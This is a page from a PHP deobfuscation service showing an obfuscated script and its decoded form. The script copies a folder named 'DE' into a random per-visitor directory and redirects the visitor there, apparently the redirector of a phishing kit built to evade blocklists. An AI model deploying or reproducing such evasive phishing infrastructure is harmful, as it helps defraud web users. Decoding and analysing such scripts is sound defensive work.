Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto JDCRC; xGAWU: header("\154\157\x63\141\164\x69\x6f\156\72" . $dst . ''); goto..

Decoded Output download

<?php 
 goto JDCRC; xGAWU: header("location:" . $dst . ''); goto QsPhA; JDCRC: session_start(); goto eEr9l; VkU9Q: function recurse_copy($src, $dst) { $dir = opendir($src); $result = $dir === false ? false : true; if ($result !== false) { $result = @mkdir($dst); if ($result === true) { while (false !== ($file = readdir($dir))) { if ($file != "." && $file != ".." && $result) { if (is_dir($src . "/" . $file)) { $result = recurse_copy($src . "/" . $file, $dst . "/" . $file); } else { $result = copy($src . "/" . $file, $dst . "/" . $file); } } } closedir($dir); } } return $result; } goto odrIL; QsPhA: die; goto qShQb; odrIL: $src = "DE"; goto ppZQo; eEr9l: $random = rand(0, 100000) . $_SERVER["REMOTE_ADDR"]; goto oywWE; ppZQo: recurse_copy($src, $dst); goto xGAWU; oywWE: $dst = substr(md5($random), 0, 9); goto VkU9Q; qShQb: ?>

Did this file decode correctly?

Original Code

<?php
 goto JDCRC; xGAWU: header("\154\157\x63\141\164\x69\x6f\156\72" . $dst . ''); goto QsPhA; JDCRC: session_start(); goto eEr9l; VkU9Q: function recurse_copy($src, $dst) { $dir = opendir($src); $result = $dir === false ? false : true; if ($result !== false) { $result = @mkdir($dst); if ($result === true) { while (false !== ($file = readdir($dir))) { if ($file != "\x2e" && $file != "\x2e\56" && $result) { if (is_dir($src . "\57" . $file)) { $result = recurse_copy($src . "\x2f" . $file, $dst . "\57" . $file); } else { $result = copy($src . "\57" . $file, $dst . "\x2f" . $file); } } } closedir($dir); } } return $result; } goto odrIL; QsPhA: die; goto qShQb; odrIL: $src = "\104\x45"; goto ppZQo; eEr9l: $random = rand(0, 100000) . $_SERVER["\x52\x45\x4d\117\124\105\x5f\101\104\x44\x52"]; goto oywWE; ppZQo: recurse_copy($src, $dst); goto xGAWU; oywWE: $dst = substr(md5($random), 0, 9); goto VkU9Q; qShQb: ?>

Function Calls

None

Variables

None

Stats

MD5 24e94d5eaf2a11336af70ab1879ef77a
Eval Count 0
Decode Time 68 ms